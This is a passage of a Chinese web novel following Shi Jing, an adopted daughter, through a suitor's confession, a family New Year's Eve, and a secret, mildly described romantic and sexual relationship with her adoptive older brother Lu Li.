提了下裙摆,在他身边坐下。
陆礼端起酒杯一饮而尽,如同和白水一般,脸上看不出一丝醉意,但眼神愈发犀利。
看也未看来人,薄唇轻启:“滚开。”
态度比平时更冷漠。
饶是楼心月也被这二字伤到,她羞愤地咬了下唇,忍下情绪,柔声道:“我知道你看不惯这些,宣城这样都这样…我在你身边坐着,那些女孩儿就不会过来了。”
陆礼仍没看她。
楼心月愿意自降身份,把自己放在和那些女人一样的位置上,简直丢尽楼家的脸。
陆礼面不改色地继续喝酒。
却也没再出声让她走。
*
时憬用力将眼前的男人推开。
费兰本就前倾着身体,也没想到时憬会用这么大的力气,竟是被推得重重跌坐在地上,连他自己都愣了下。
时憬抬着胳膊挡住下半张脸。
想要盖去刚才的薄荷气息。
眼中星光散尽,防备地看着费兰。
他们这边看起来闹得有些不愉快,朋友们忙止住起哄的趋势,比了个收拾,把这块空地留给他们两人。
费兰被推到了没生气,也不急着起来。
反而盘腿席地而坐,咧开一口亮眼白牙,冲时憬笑:“这次没有被骂,说明这段时间我的努力还是有些用的。”
时憬被他的笑晃了下眼。
费兰直勾勾地看她,蓝眼睛不似白天那么蔚蓝,变得深邃,似是深不可测的星空。
“时憬女士,”他仍带着笑,语气认真地问她:“你拒绝我,不是因为不喜欢我,而是因为你有其他喜欢的人了,对吗?”
“没有。”
费兰竖起食指摇了下,火光在他金子般的头发上跃动,“在某些情况下,太快否定就等于是肯定。”
时憬心跳快了两拍。
只是她擅长藏匿情绪,平静道:“随你怎么说都行,但你能先起来么?”
费兰耸了下肩膀,“我可能需要一些帮助。”
说着,他向时憬伸出胳膊,掌心朝向,等着她拉他起来
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。
时憬看了眼他的手掌,说了句稍等。
然后撇下费兰,自己在空地周边转了圈,找到了收集回来还没用完的枯树枝,捡了根粗点递给费兰。
然后她在费兰的蓝眼睛里看见了震惊。
但震惊过后,他仰头笑了出来。
眼前这个女孩的举动,常能出乎他的意料,既可爱,又有不可揣测的神秘。
费兰笑着接过枯枝,真用枯枝撑着站了起来。
他身高逼近一米九,在站起来时,瞬间挡住时憬面前的光亮,压迫感逼近,时憬不喜欢这种感觉,往后退了一步,不料空地坑洼不平,她半脚踩空,尚未来得及站稳前,眼前的费兰已伸手扶住她。
胳膊护住她后背,更像是将她圈在怀中。
近距离的靠近,霸道的雾凇气息侵袭。
时憬刚皱眉,费兰立刻放开她,并自觉后退一步,让时憬到嘴边的话只能咽下。
“请原谅我刚才的冒犯。”费兰语气真挚地垂眸道歉,但当再次看向时憬时,她清晰地触及他灼热的爱意,“但请你相信我,刚才的冒犯不是一时冲动。不论你喜欢着谁,我能确认你现在是单身,如果你愿意接受我的追求,请带上这份礼物来见我。”他扔开枯枝,从外衣口袋取出一个黑色丝绒盒子,单手打开,双手递到时憬眼前,“如果我不是这个幸运儿,也希望你能像这抹星光一样闪耀动人。”
时憬低头看。
盒子里是一根项链。
细细的白金链条,坠子是三颗连在一起的十字星光,中间镶嵌着蓝宝石,哪怕光线微弱,也依旧璀璨。
她并未接下。
视线抬起,就撞上了费兰刻意压低望来的眼神。
她也曾被人告白过。
圈子里的人都知道她是被陆家半路收养的,她也总能敏锐察觉到那些伪装爱意之下的势利计算,他们看中的只是她背后的陆家,而不是她这个人。
这样直白而热烈的爱意,让她陌生。
“为什么…是我?”她出声询问。
眼神没有慌乱、惊喜,也没有困扰。
那双漂亮的眼瞳里,此时空洞得像是镶嵌在玩偶上的玻璃眼珠一般。
第48章 昨晚去哪里了
费兰有些意外,对眼前的女孩愈发好奇。
面对时憬的询问,他也如实回答:“那天陆家新年晚会上,你孤独站在角落里的样子,就令我心动了,或许这就是你们说的色狼?见色起意?”他语气诙谐,似乎想要博她一笑,“后来再次见面,我想一定是命运女神在指引我不要错过你。”
他的坦率,一如他眼中的深情。
磊落的不容人怀疑。
时憬空洞的眼神有了波动,眼睑垂下,“对不——”
最后一个字还未说出口,就被费兰出声打断。
他竖起手指,在唇上放了下,眼中仍有明亮的光芒,“不要那么快拒绝我好么?马上就要过年了,至少让我心怀的期待地过个好年,而不是怀着失恋的心情,这可是我在国内过的第一个新年。”
他放下手指,悄然收敛起轻松的语气,低头,看着她,认真告诉她:“假如你最后还会拒绝我,也不用这样愧疚。拒绝告白的男人是每一位女士的权力,任何结果我都会接受,也都希望你能幸福。”
说完后,他再度伸出胳膊。
在时憬的后脑勺晃了下。
又变出一根点燃的仙女棒递到她眼前,“开心一点,让我们一起享受这个难忘的夜晚?”
跳动的星光,也印在费兰的眼中。
时憬因他的告白而沉默,也因他幼稚的浪漫而忍不住笑了起来。
她想要从费兰手中接过仙女棒。
在握上之前,他手迅速一晃,把盒子塞入她手中。
接着像是没事人一样,将仙女棒放入她另一只手。
时憬:……
手这么快是学过魔术吗??
金发大男孩晃动着仙女棒,蓝瞳笑盈盈地看她,“别夸我,无他,唯熟手二。”表情还附带着些得意之色,好像在等着时憬夸他中文长进之大。
时憬忍了下,没忍住,笑出了声,“你这是从哪儿学来的?”
“万能的C站。无他,唯熟手二!”
时憬笑点本就低,他又重复一遍,令她笑得都直不起腰。
他也不生气,好奇地问她笑什么。
时憬喘匀气息,告诉他:“是唯手熟尔,不是未熟手二。”
费兰眨了眨眼才反应过来,用手掌拍了下额头:“Jeez!”叫完后,又问时憬:“不对,中文应该说什么?”
“苍天。”
费兰又演了遍,“喔苍天!”
两人对看一眼。
时憬嘴角抽了下,笑意不受控的往上窜,跌坐在石凳上,连人都站不起来,费兰比她好点,但也差点握不住仙女棒。
晚上,他们各自回帐篷休息。
三个女孩子睡在一起。
时憬打了个视频向妈妈报备晚上不回家。
陆母一开始还担心,看着屏幕中女儿微红的脸颊,目光也温柔下来,问道:“今天玩得开心么?”
时憬点头,“开心。”
陆母也不再啰嗦打扰女儿:“那就好好享受今晚,注意安全,明天早点回家。”
时憬乖巧应下。
大家都累了一天,晚上又是一通玩闹喝了不少酒,朋友们酣然入睡。
帐篷里只留了一盏氛围灯。
有轻轻的鼾声响起。
时憬毫无睡意,透过帐篷的透明穹顶,看见夜空漫天繁星,下意识地去找猎户座。
……
“冬季最容易观测的星座是猎户座,它是由七颗星组成,取名参宿一至七。一三五位于猎户座中央,是‘猎人的腰带’……”
……
她无声重复着十四岁那年冬天,陆礼在民宿天台说的每一句话。
那时他与那座小镇格格不入。
却闯入时憬的青春。
是她春心萌动,藏在心里暗恋的男人。
是她的青春,是她的全部,是她的生命。
她闭眼,无声落泪。
哪怕身体疲惫至极,但她这些日子的睡眠变得极其糟糕,又换到了陌生的地方,直到晨晓时分,阳光驱逐黑暗,她才浅睡了一两个小时。
早起女孩们一起洗漱。
又开始张罗早饭。
吃完后,山里开始下雪降温,再待下去实在危险,决定提前结束露营。收拾好后下山,费兰开车送时憬回陆园,沙市也开始下雪,且有越下越大的趋势。
路上费兰一直在和她聊天。
他总是如此精力充沛。
时憬困得头发晕,也因不适,想不起来被人告白后独处的尴尬,有一搭没一搭地说着话。
到陆园后,时憬下车。
费兰降下车窗,露出灿烂笑容:“憬,新年见!”
时憬挤
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出微笑摆手,目送车离开,转身进屋,脸上的笑容无力消失。
陆母不在家。
客厅里只有刘姨在厨房忙碌。
听见她回来的动静后,出来和她说了两句话,又去厨房忙。
时憬刚准备上楼,视野中闯入熟悉的身影。
她抬头看去,是本该在宣城出差的陆礼。
他是什么时候到家的?
发现她彻夜未归了?
时憬脸上肉眼可见的浮现慌乱,出声打招呼:“哥,早啊。”
陆礼抬腕看了眼时间,语气淡淡:“十一点,不早了。”
时憬勉强笑了下,刚想要开口说什么,就被陆礼的声音打断:“昨晚你去哪里了。”
时憬抬脚上楼的动作停顿了下。
听陆礼的语气,他昨晚似乎也不在家里,只是这会儿正好撞上她,才知道她昨晚没回来。
是啊,如果陆礼昨晚就发现她不在家,怎么会不问她?
即便如此,她仍不敢去看兄长,“昨天我们去露营,我以为是当天往返的,但大家都打算过夜,时间太晚我就没回来。”她仰起头,冲他讨好地笑了下,“昨晚我和妈妈说过了。”
陆礼看着她上来。
看见她难掩疲惫的脸色。
也看见她背在身后的包,侧边放着那只粉色保温杯。
“昨晚露营,”他眼神平静地注视着妹妹,“有发生什么趣事吗?”
时憬垂下的眼睫颤了下。
当她再度掀起眼睑时,眼中有笑意:“我看见了好多星星,还找到了猎户座!”
“还有其他的事么?”
这一瞬间,时憬几乎以为他亲眼看见了费兰的唐突、他真诚的告白,但她很快否定了。
昨晚陆礼在宣城,怎么可能知道?
而且昨晚的几个朋友没有与陆礼玩在一起的人。
他不可能知道。
也不能让陆礼知道自己打算拒绝费兰,更不能让他知道,她现在去结交费兰,只是给他看的,只想让他慢点推开自己的手段罢了。
“就一起吃饭聊天,没其他事情了啊。”她说完后,掩唇打了个哈欠,“昨晚玩到好晚,我都没睡好,先去睡觉了。”她迫不及待地要从他面前逃开。
在她转身时,陆礼再次叫住她。
“时憬。”
第49章 妹妹的每一句都是谎言
时憬侧过身,投来的眼神无辜而柔软。
如果陆礼没有看见那张照片,他也会相信她说的‘无事发生’,但事实摆在面前,妹妹的每一句话都是谎言。
太晚没法回来是谎话,她从一开始就知道要在外过夜。
没发生是什么更是谎话,他亲眼见她和费兰亲吻的照片。
“哥?”
“以后不回家提早报备,不要让人担心你。”
她乖巧应下,“知道了,不会有下次了。那我去睡觉了?”
“好。”
看她进房间后,男人眼中的平静褪去。
他本应该为时憬与费兰的恋爱松一口气,这能让时憬从这段畸形关系中脱离。
但妹妹为何要说谎骗他。
他忍下质问的冲动。
陆礼狠狠闭了眼。
再次睁开时,眼底只剩下森然的冷意。低下头,无意发现自己握住扶栏的手竟如此用力。
*
陆园开始为回乡下陪老太太过年做准备。
老太太只有陆父这一个儿子,但过世的老太爷兄弟姊妹众多,各自婚嫁后生下的孩子就更多了,这些亲戚或在异乡、异国生活,也都有自己一份拼搏出来的产业。每年都会回沙市乡下,一大家子聚一聚。
为着这个大家庭过年聚会,要送出去的新年礼就要不少。
陆母细心而周全,为此早早列好了清单,司机每天都满载而归,
年近尾关,时憬手上的方案陆续结尾。
大年二十九就跟着陆父陆母回乡下老宅。
陆礼还在国外,说是要都到大年三十下午才能回来。
老太太在老太爷过世后,曾闹着要回杭县。她是杭县人,认识了老太爷后才来沙市,这一住就是五十多年,老了想要落叶归根回乡,可陆父如何放心?杭县距沙市远,哪怕安排上七八保姆过去,可一旦有点什么事情,他们哪里来得及赶过去?
而且老太太喜静,又不肯多要人照顾她。
为此母子两人僵持了小一年。
转机是在时憬住进陆家后。
时憬也是杭县人,与老太太虽然不是一个地方的,但能说一口令人怀念的乡音,再加上那时候的时憬憔悴得让人心惊胆战,实。孙子陆礼从没学过照顾人,儿子工作忙,儿媳妇还没和小姑娘熟悉起来,老太太见了时憬一面后,带着时憬回乡下住了大半年。
老太太懂得她的水土不服,指挥孙子去找会做杭县菜的保姆来。老太太也知道她丧母后忽然来到一个完全陌生环境的孤苦无依,晚上守着她睡。老太太也知道要让她活过来,就必须有事情干,不能让人一味沉浸在悲伤里,就让孙子逼着她学习、去上学。
等时憬缓过来,孙子开始学着照顾妹妹。
老太太才把两个孙辈赶走。
说是新来的保姆与自己聊得来,也不再闹着要回杭县。
随着年纪大了,老太太性格也愈发古怪,不准一大家子热热闹闹地住在家里,祖孙三代在大年三十这一晚吃个团圆饭,各回各家,只肯让时憬留下来陪着她住。
家有一老,如有一宝。
陆父孝敬,只要母亲不再闹着要回杭县,这些要求他无有不应。
陆父陆母在镇上也有自己的房子,与陆家那些亲戚离得近,拜年走动更方便。
今年大年三十,一家人都吃过年夜饭了,陆礼还未回来。
老太太上了年纪精神头浅,撑不住等孙子回来,上楼睡觉。
时憬送陆父陆母出门。
陆母上车前拉着时憬的手直担心:“你哥打电话来说刚下飞机,开车往这儿赶。晚上路上冻得厉害,又开始下雪了,让他回家住一晚明早再来也不肯听,我这回去哪里睡得着?”
陆礼来电话时,时憬也在旁边听着。
发信息让他明天再开车来,他只让她别担心。
她不止担心,更害怕。
妈妈是在冬天的深夜开车出车祸丧命。今晚得知陆礼要开车过来后,她一刻都没有放松过。
但这些恐惧不能让陆母知道。
大年三十,新年在即,她所担心的这些不吉利。
时憬柔声安抚:“哥哥开车一向谨慎,谨慎得连爸爸都看不下去,晚上路滑下雪,他一定会开得更小心的。您和爸爸先回去休息,我等着哥哥回来,他一到家,我就给您发消息。”
送走他们后,时憬在客厅里守着。
电视上放着热闹的联欢晚会。
观众因小品而哄堂大笑,笑声回响在空荡荡的客厅里。
哪怕灯火通明,不安和
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独孤像如影随形的毒蛇,缓缓缠上来,她开始强烈不安,胸口的心跳也开始慌乱。客厅里老旧时钟的摆动声,更似恐惧的催化剂。
滴答。
滴答。
她拿起水杯,才发现自己的胳膊都在颤抖。
没事的。
陆礼开车稳重,不会有事的。
没事的……
“嗡嗡——”
仍在沙发上的手机冷不丁震动。
吓得时憬抖了下,手里的水杯掉落,在地毯上滚了圈,冷水撒了一地。
她几近狼狈抓起手机,看见屏幕上童宛的名字,眼前蔓延上来的黑影才逐渐消退。
她缓了缓,单手压着胸口,接通电话。
“童宛,新年快乐。”
她努力让自己的声音听上去正常些。
童宛也回了句新年快乐,比她的听上去还要潦草,下一句就直接切入主题:“陆少在家不?”
时憬坐下,弯腰捡起水杯。
“不在,他飞机误机了,现在还在开车来奶奶家里。”
电话那头传来一道倒吸凉气声。
“我靠!那这件事不会是真的吧?”
“什么事?”
“等等,我给你发张图!”童宛压低声,似乎是想避开什么人,“之前老头子给我介绍的那个相亲男,你也见过的,他家做传媒的,刚才见面时不小心说漏嘴的,本来要上明天的新闻,你先看!”
时憬放下手机,点开她发来的照片。
是新闻视频中的三张截图。
一张是陆礼和楼心月姿势暧昧的偷拍照,另外两张都是他们在国外出入同一家酒店的照片。
看着照片上姿势亲密的两人。
陆礼虚搂着楼心月的腰,表情全然没有的冷漠,而楼心月仰着头同他说话,氛围暧昧到下一步是接吻也不奇怪
耳边,童宛的声音还在继续。
“相亲男说这则新闻被陆氏高层高价买断。如果照片描述情况不真实,陆少否认就好,两家现在是合作关系,一起出饭局、国外出差也说得过去,现在大手笔买断是怕被谁看到吗?还是陆少和楼心月真有一腿?我知道你和陆少关系铁,又不喜欢楼,偷偷出来和你说一声。”
时憬全身血液骤凉。
暗下去的黑影汹涌袭来。
第50章 她不想再装乖了
“哐当——”
“喂?时憬?”
“你还在听吗?”
“刚才是什么声音?”
时憬动了两下唇,才听见自己干涩的嗓音响起。
“我知道了…童宛,谢谢你告诉我。”她仍保持着弯腰的姿势,手中的玻璃水杯再次掉落,掉在木地板上,终还是碎裂了,“我先挂了。”
她死死盯着锋利的玻璃碎片。
第一张照片上的时间就是上周末他去宣城出差,那样暧昧的姿势,他们会接吻吗?会拥抱吗?也会**吗?
不、不会的。
陆礼根本不会喜欢楼心月。
第二三张照片是在国外拍到的,又是陆礼这次临时出差——
究竟是临时出差,还是陪楼心月?
不。
这也只是巧合。
她像是**成两个人,一边在歇斯底里地否认,一边在冷静地告诉她现实。
时憬伸手,想要捡起碎片。
锋利的裂口割开她的指腹,她却察觉不到痛,一片片捡起碎片扔进垃圾桶。
耳边是童宛说的那一句。
‘他花大手笔买断是怕谁看到?’
是怕谁呢?
是……
怕她。
怕她知道了不肯结束关系,怕她知道了不肯再和费兰接触,怕她知道了要继续缠着他,他就没办法彻底推开她。
联欢晚会里的歌声停止,进入辞旧迎新的倒计时。
落地窗外摄入刺眼的灯光。
她僵硬地转头,看见车子开入院中。
是陆礼回来了——
他平安来了。
等她反应过来时,身体已先一步推门跑出去。
陆礼下车,反手关上车门,看着妹妹从温暖的灯光里飞奔而出,身上穿着明艳的红,像一团小小的火焰,扑入他的怀中,用力抱紧。
撞得他后退了半步才站稳。
陆礼垂眸,看着伏在怀中的妹妹,温柔摸了下她的发顶,“我回来了,新年快乐,小舟。”
凛冬之夜。
大雪纷纷。
落地窗内的屏幕上正在倒计时。
新年钟声响起。
从远处传来新年开门鞭炮声,硝烟弥漫在空中,巨响声驱逐死寂的黑暗,黑夜像是活了过来。
在阵阵鞭炮声中,时憬踮起脚,双手搂上他的脖子,轻吻住他的双唇,在陆礼想要拉开她之前,时憬不再触碰他的唇,似黑珍珠般的眼眸弯弯,盛满着毫不遮掩的依赖。
她轻声说:“新年快乐,陆礼。”
既然他已经在推开自己,她怎么努力、怎么装得听话乖巧都没办法推迟这一天的到来,那她为什么还要克制自己?她仍想要触碰他,直到她的世界彻底崩坍之前。
她的掩饰如此完美。
没有让兄长察觉到一丝异常。
陆礼看着妹妹灿烂的笑容,也有了些笑容,落在她头顶的手迟迟没有收回。
他将所有的新年祈祷只与妹妹相关。
希望新的一年小舟依旧如此能朝气蓬勃,依旧能笑得这么灿烂,像星光一般,耀眼而动人。
哪怕她会离开自己。
哪怕她会爱上其他男人。
站了一会儿,陆礼用手背碰了下妹妹冷冰冰的面颊,果断拎着人进屋。
外面天寒地冻,时憬站了会儿浑身都在发抖。
陆礼脱下外衣裹住,皱着眉训她:“下次再穿那么少出来,感冒时就不要掉眼泪说难受。”一边拽着她的上楼,让她回房间去泡澡回暖。
妹妹小声叫疼。
陆礼果真停下脚步,搂住腕子的手松了些,低头去看。
妹妹的肌肤养得分外白皙,稍微用点力气就会留下痕迹,陆礼只当自己失了轻重,他拉高了毛衣袖子,纤细的手腕上只有很淡的红。
“娇气。”严厉的兄长嘴上这么说,语气已然温和,“洗澡去。”
“不是这儿疼。”时憬垂着眼睑小声说着,翻转掌心给他看。
陆礼捏住她的掌心,看见指腹上有好几道细小的划伤。
“怎么弄伤的?”
“刚刚杯子不小心摔碎了,应该是我捡玻璃的时候不小心弄到的。”
陆礼皱眉,脸色冷沉。
不知道是不是在嫌弃她蠢笨。
时憬坐在床边,看着陆礼提医药箱回来,先清理伤口,在贴上防水创口贴,“今晚不要泡澡了,知道了吗。”
“…哦。”
“杯子是在哪儿摔的,收拾干净了吗?”
“茶几那边,碎片我都捡起来了,应该收……”她看
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着陆礼越来越冷的脸色,打了结巴,“收拾干净了吧?”
“怎么收拾的,就用你这双手捡的?”
时憬想要点头。
但陆礼脸色吓人,她不敢点了,眼眸水润润的,用没受伤的手拉住他的手,晃了晃:“我下次知道了,哥,你别生气了,现在是新年第一天,你也别训我了,好不好?”
冰冷的手挤入陆礼的掌心,柔软的手指握住他的手指。
这样撒娇的动作,妹妹已经许久没做过了。
陆礼叹了口气。
“下次记得戴手套捡,再用扫把,或者找人帮忙。赶紧去洗澡,我下去看看。”
时憬乖巧点头,仰头问:“哥,你今晚不走了吧?”
“不走了。”他挑了下眉,“外面雪这么大,你想让我继续开车走?”
时憬睁大眼:“你这好大一口锅啊!我什么时候说让你走了?赶紧出去,我要洗澡了!”她推搡着高大的兄长出门,气得脸颊都鼓起来了。
陆礼老神在在,“再动一下压岁钱没了。”
时憬:……
“不稀罕。”
陆礼拿出一个厚厚的红包,语气温和地问:“真不要?”
时憬眼睛被晃了下,一手抽走红包,一手关门:“晚安!”
陆礼:……
陆少被妹妹拒之门外,也没生气,无奈笑了下。
在睡前,时憬还收到了一笔来自兄长的大额转账。
她愣了下,发信息问。
时憬:【哥哥,你刚给我一个大红包呀】
下面还拍了张放在枕头底下的红包照片。
每年大年三十,时母都会叮嘱她把压岁钱放在枕头,说是压祟,驱邪保平安,睡前还会偷偷来看她,把拖鞋倒扣。小时候她笑妈妈这是玄学迷信,可在她十五岁之后,妈妈不会再来叮嘱她这些玄学迷信的事情。她开始自己准备起红包,睡前把拖鞋倒扣起来,就像是妈妈每一年都叮嘱过她一样。
她握着手机,等陆礼的回信。
不知不觉等着地睡着了。
久违的梦见了妈妈。
接踵而来的就是噩梦——
她睁眼惊醒过来,满脸是泪,恐惧占据理智,颤抖着跳下床,赤着脚推开门,闯入兄长的房间。
第51章 你为谁守身如玉,不肯碰我?
陆礼向来觉浅。
从前两人一起睡,时憬也常会被噩梦惊醒,稍一动他就能察觉,将她抱在胸前,低声安抚,直到她再次入眠。
今晚时憬跑进他房间,掀开被子进了被窝,也没将他惊醒。
时憬钻入他怀中,用力环住他的腰。
驱逐梦境延申到现实的恐惧。
陆礼为了赶回乡下老宅过年,坐了十多小时飞机回来,下飞机后顾不上休息,又开车过来,更不用提为了回国过年,他在国外高强度会议模式。
这一通下来,饶是陆礼也有些疲发。
洗漱后闭眼就睡。
直到怀中挤入裹着寒意的身躯,他半梦半醒,身体先一步有了反应,习惯性的拥住,手掌顺着清瘦的背脊下来。
掌下触及实物。
他才醒来。
房中昏暗,他低头,眯了下眼睛,辨认怀中的人。
“时憬?”
时憬侧睡着埋在他胸前,紧紧贴着。
这个姿势太过暧昧,她身上发甜的气息发散。
陆礼不可避免的闻到,初醒来时身体的反应也有了反应,他想要把妹妹从怀中拉出去,落在她后背的手掌摸到一手的湿冷,让他止住动作。
“又做噩梦了?”他温和的语气询问。
怀中的女孩点头回应。
“不怕,梦都是假的。”他一边出言安抚受惊的妹妹,一边不动神色的把身体往后挪了些,免于触碰到怀中的身体。
时憬睁开眼。
眼底渗透恐惧。
“是真的……”
她梦见陆礼彻底离开自己,和楼心月幸福的在一起,门当户对、男才女貌,受尽所有人祝福。她嫉妒的快要失控,不停的纠缠陆礼,他终于厌烦了自己,用冰冷的目光看她,掰开她的手将她推开,告诫她,他要开始新生活,不要再去依靠他,她该长大了。
后面的梦她不敢再去回想。
还好…
还好现在她还有陆礼。
还好梦中的未来还未发生。
陆礼彻底清醒,他松开胳膊,半支着起身,隔着被子轻拍着她的后背,“那些事情已经过去,更不用害怕了。睡吧,等你睡着了我再送你回房。”
时憬察觉到兄长与她保持距离的动作。
眼中的恐惧变得无神。
她想告诉陆礼,梦见的不是过去的事情,而是未来会发生的事情,就如现在你的每一个举动,都在刻意的远离她,不愿再触碰她。
可……
他明明喜欢过她的身体。
哪怕无关情爱,只是男女之间的欲望。
现在他都开始不要了…?
陆礼拍着后背的频率降低,怀中的呼吸声逐渐变得平稳,像是被噩梦惊醒的人睡着了。他低头看去,猝不及防撞上她抬头,动作像是冲动的小狼,温软的唇贴上来。
不是室外那蜻蜓点水的触碰。
沾满成年人的情欲,以及慌乱的索取。
陆礼的手掌落下,隔着被子扶住她的肩膀,无法狠下心推开这样陷入不安中的妹妹。如过往无数次被噩梦惊醒后,她像是迷了路彷徨无措的小鹿,依赖着他,依赖着情事过后的疲惫才能再度入睡。
他另一只手握住时憬试图解开衣服的手。
唇舌分开。
克制着欲望的目光落在她不再苍白的脸。
她的双唇莹润,泛着浅浅的水光,血色丰盈,眼瞳望来时似水缠绵,又似水中绽放的莲,娇嫩欲滴,引人轻嗅。
“我想要。”
她柔声说着。
是他从前没有把控好尺度,才让时憬无法分清楚兄妹之间的界限。他也无法训斥妹妹,在已经有了男友的情况下,还要这样毫无防备的说这种话。
陆礼像宽容的兄长一般说道:“只是一场噩梦,冷静下来,我陪着你入睡,或者起来看会儿电影?”说着,他就要坐起身离开。
时憬抓住他的衣襟。
阻止他试图离去的动作。
睁着眼看他,清晰的再一次重复:“陆礼,我只要你。”
她用力挣开陆礼的手,葱白的指尖也再一次摸上他睡衣的纽扣,一颗颗往下解开,露出精壮结实的胸膛,她顺着探入,依偎上去,柔软似水,发甜的气息也跟着袭去。
总有
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办法撩拨起男人的欲望。
陆礼看靠上来的妹妹,眼神陡然暗沉。
想起她与费兰接吻的那张照片。
此时在妹妹眼中他是什么?
安抚她入睡的工具人?
欲望与怒火一起被勾起。
他抬手捏住她的下颚,沉声训斥她:“你已经在费兰交往,以后不要再做这种事。”
时憬黑润的眼瞳猛地睁大,今晚被那些照片、童宛的话勾起尖锐的疼痛在胸口炸开,炸的她再难维持冷静。她挥开陆礼的手,双手撑上他的肩膀,用力翻身将他压下,坐在腰腹上,居高临下的看他。
蓬松的被子滑落。
凌乱长发披在肩上,挡住她两侧的面颊。
她双手紧攥着他的睡衣,身体不可控制的在颤栗,“是谁告诉你我和费兰在交往?你这么迫不及待想要把我推给其他男人,是为了方便我不再缠着你,你好和楼心月交往是吗?现在就开始为她守身如玉,不肯碰我了?”
陆礼握上她胳膊,皱眉冷声:“下来,我们谈谈。”
她笑了声,眼角发红的厉害,讥声问:“一男一女这种状态谈什么?谈你明明想为楼心月守身如玉,却还是在妹妹的勾引下有了反——唔……”
放肆的话语被一只手捂住。
眼前妹妹轻佻的态度彻底惹怒兄长。
“住口!”
他扣住手腕、腰腹用力、胳膊支起,轻而易举就把身上的妹妹翻了下去,动作粗鲁的压住,看着她陷入被褥中,两手攥住她乱动的手腕。
气息粗重。
他想以兄长身份训斥她要珍惜自己的身体,不要用那些难听的字眼伤害自己。
严厉的话还未说出口,时憬皱着眉,别开脸开始落泪。
温热的眼泪从眼角淌下,落入发间。
陆礼以为是自己刚才愤怒下动作失了轻重,弄疼了娇弱的妹妹,松开扣住的手腕,打开床头小灯,暖黄的光亮起,也照亮了她手腕上发红的一圈印子。
眼中的怒意瞬间消失。
“是我弄疼了么,哪里疼?”
时憬仍偏首,无声哭。
第52章 沉沦
陆礼下来,手插入被褥与她后背之间,小臂用力,将她半抱起来,手检查她的肩胛、肩膀、胳膊、手腕、腰背,耐着性子一声声问她疼么。
回应他的仍是止不住的眼泪。
打湿他胸口的睡衣。
确认不是身上疼痛引起的后,陆礼松了口气,心底的愠怒也被时憬的眼泪哭得支离破碎。
他拉起滑落的被子盖好。
这一次,他没有隔着被子拥抱她。
刚才闹了一通,她身上又浸满寒意,陆礼妥协,将人拥入怀中,任由她的眼泪落在身上,任由发甜的气息侵袭,用手掌温暖发冷的后颈,轻轻摩挲。
动作如此温柔。
只是怀中的人还在落泪,一点呜咽的声音都没有发出。
陆礼的原则一步步放低。
时憬向来娇气,做了噩梦过来找他,他不应该凶她,更不应该因为自己的情绪呵斥她,哪怕要与她结束这一段关系,也不该操之过急,这只会伤害到妹妹。
是他之过。
陆礼垂眸,落在后颈的手指拨开她的长发,露出白皙的脖颈,在灯光下蒙着一层暖玉似的白,他低头,轻吻落在颈项间柔软的肌肤上,一点点上移。
被眼泪打湿的冰冷脸颊。
微冷的鼻尖。
湿漉漉的眼睑。
也一同吻去渗出的眼泪。
终于止住了眼泪。
在时憬掀起眼睑看他时,唇再度被吻住,不是带着安抚的触碰,染上了情欲的热意。
“不准再哭了。”
低沉的嗓音在耳畔响起。
不等她言语回应,只能用双手拥住他的头。
……
“陆礼……”
她颤着声,双手抓着身下的被褥。
“不行,这儿没有准备。”男人的声音嘶哑,动作愈发温柔。
“没关系…我可以吃药……”
陆礼眼中的情欲凝滞一瞬,抬头,看着她柔软动情的双眸,忍住所有的话语,指腹擦过她的唇,低声回不用。
……
温柔的情事,让人沉沦,也骗出许多眼泪。
时憬浑身汗淋淋地躺下,闭着眼止不住的喘息,眼角比刚才哭的时候更红更艳了。
陆礼去浴室清洗后,绞了块温热的毛巾,坐在床头,两只手探进被褥,擦去她身上的汗水,动作细心而专注,没有丝毫的生疏。
在最近很长的一段时间里,时憬的睡眠极其糟糕。
失控与疲惫后,紧绷的神经松弛下来。
她的眼皮阵阵发沉。
身体迫切地在渴望着睡眠,但却迟迟不能入睡。
等陆礼再次回来,又听见她闭着眼微皱着眉说渴,似是想到什么,陆礼垂了下眼,倒了杯温水来,抱着她喂了两口,看她摇了头,才放下水杯躺了下去。
时憬闭着眼自发贴了过去,挤入他的怀里,拱了下,找了个舒服的位置。
像是嗅到气息就挨过来的小奶猫,蹭得碎发黏在脸上。
他低头,用手指拨开头发,露出一张微红的脸颊。
随着他手指的动作,闭着自然下垂的眼睫颤了颤。
“时憬。”
“嗯…”
她闭眼,懒懒地应了声。
“不要为了任何一个男人伤害自己的身体,记住了吗。”他低声教导妹妹。
时憬似醒非醒,脑子困得转不动。
她口齿含糊不清的说,“我没有……”
陆礼眼中闪过一瞬不自然之色,但时憬回答得如此敷衍了事,显然她根本不知道他在说什么事情。沉默须臾后,他才继续开口:“在你没有生育准备之前,每一次都要做好措施,没有一个男人值得你去吃避孕药,伤害你的身体。”
这些知识本不该有兄长教导。
时憬仍闭着眼。
迟迟没有回应。
在陆礼再次以为她睡着时,低到不可耳闻的声音响起,“陆礼不是别人。”
陆礼闭眼,冷下语气:“哪怕是我也不行,记住了吗?”他抬起时憬装睡的脸蛋,“回答我。”
“知道了。”时憬困得不愿意睁不开眼睛,双手搂住他,靠过去,娇蛮地命令他,“我想睡了,你不要说话…”
接着,就真的睡着了。
熟睡到连陆礼抱她送回隔壁房间也没有醒。
等时憬从睡梦中自然醒来时,已经是第二天。
她伸了个懒腰,浑身上下透着睡饱后的餍足。
身上清爽,没有任何黏腻或酸楚不适。
想起昨晚陆礼的细心照顾,她咬唇笑了下。
他仍是心软了。
这种心软有一次,就会有第二次,第三次。
陆礼只能是她的。
*
大年初一,时憬
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看着镜中好气色的自己。
她挑了件宽容红色羊绒衫,胸前是斜蝴蝶结花纹,配黑色修身牛仔裤,头发扎了个高马尾,不用化妆,看着唇红齿白,眼眸水润明亮。
今天陆父、陆母没来。
只有老太太和保姆在家。
时憬下楼时,老太太慈爱地招手,让她先喝碗红枣莲耳羹垫垫肚子,马上就要开饭了。
时憬嗳了声,在餐桌那边小口吃着,问老太太:“您看见哥哥了么?他昨晚跨年那会儿才到家的。”
老太太戴着副老花镜,手上还在织毛衣。
她看着瘦小,容貌也老去,但举止优雅,目光温暖,能看出年轻时是个温婉动人的美人。
老太太:“早上看见了,还陪我一起吃了个早饭,说了会儿话才出门去他爸妈那儿拜年。中午不回来了,就咱们祖孙俩吃,不管他们。”
时憬养在陆家,对外也说是陆家的女儿。
但她一没改姓二没上陆家的户口簿。
家里有些亲戚不认她,夹枪带棒说话不太好听,所以时憬自觉不跟着应酬,也乐得陪老太太。
她偷偷问:“今天中午沈阿姨做杭菜吧?”
昨晚的年夜饭,为了照顾陆父陆母的口味,做的都是沙市菜。
